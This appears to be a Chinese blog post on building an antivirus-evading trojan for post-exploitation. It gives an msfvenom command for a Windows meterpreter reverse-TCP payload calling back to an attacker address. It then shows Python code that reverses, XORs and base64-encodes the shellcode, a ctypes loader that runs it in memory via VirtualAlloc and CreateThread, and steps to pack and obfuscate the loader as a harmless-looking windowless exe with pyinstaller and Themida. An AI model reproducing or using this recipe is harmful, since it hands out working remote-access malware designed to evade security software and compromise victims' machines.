后渗透-木马免杀

木马免杀

0x00 免杀

木马免杀的方法有很多种,如反转、异或、远程加载、加壳等,这里举例反转加异或

0x01 利用msfvenom制作木马

sfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.12.135 LPORT=5555 -f py > 2.py

# -p 指定payload
# LHOST 指定接收IP
# LPORT	指定接收端口
# -f 输出文件格式
# –o 文件输出

0x02 将木马文件内容进行加工

######################################################
# 1、对木马进行处理(buf变量是生成python木马的内容)
import binascii

results = binascii.b2a_hex(buf)
new = results.decode()[::-1]
print(new) 

######################################################

# 2、将生成的new字符串进行异或运算
import base64
import binascii
def xor(tips, key):
    lkey = len(key)
    secret = []
    num = 0
    for each in tips:
        if num >= lkey:
            num = num % lkey
        secret.append(chr(ord(each) ^ ord(key[num])))
        num += 1
    return secret

# 异或加密
new = ""		# new是第一步生成的new值
encd = xor(new, 'ad')
resp = base64.b64encode("".join(encd).encode()).decode()
print(resp)

######################################################

# 3、加载器
import base64
import binascii


def xor(tips, key):
    lkey = len(key)
    secret = []
    num = 0
    for each in tips:
        if num >= lkey:
            num = num % lkey
        secret.append(chr(ord(each) ^ ord(key[num])))
        num += 1
    return secret

code = ""		# code是第二步生成的resp的值
tips = base64.b64decode(code.encode()).decode()
decd = xor(tips, 'ad')
resp = "".join(decd)
new = resp.encode()[::-1]
results = binascii.a2b_hex(new)
print(results)

# # 加载器
import ctypes
shellcode = results
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

0x03 将加载器文件打包成人畜无害的exe文件

pyinstaller -F -w 03_Loader.py

# -F 只在dist中产生一个exe文件。
# -w 只对windows有效,不使用控制台。
# -i 设置好看的ico格式的图标,加上该参数,指定图标路径。
# -p 设置导入路径

0x04 加壳

利用Themida给exe文件进行加壳——加壳工具有很多,可自行决定

image-20230225143957741

0x05 将打包的文件用安全软件进行检测

实际免杀效果需要自己测试,和写的加密方式有关

注意,查杀有两种:

一、特征码检测

二、行为检测

在通过免杀的基础上还要保证能正常运行

0x06 免杀方法汇总

  • 远程加载
  • 进程注入
  • 傀儡进程
  • 未导出API
  • 掩日
  • 等等
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值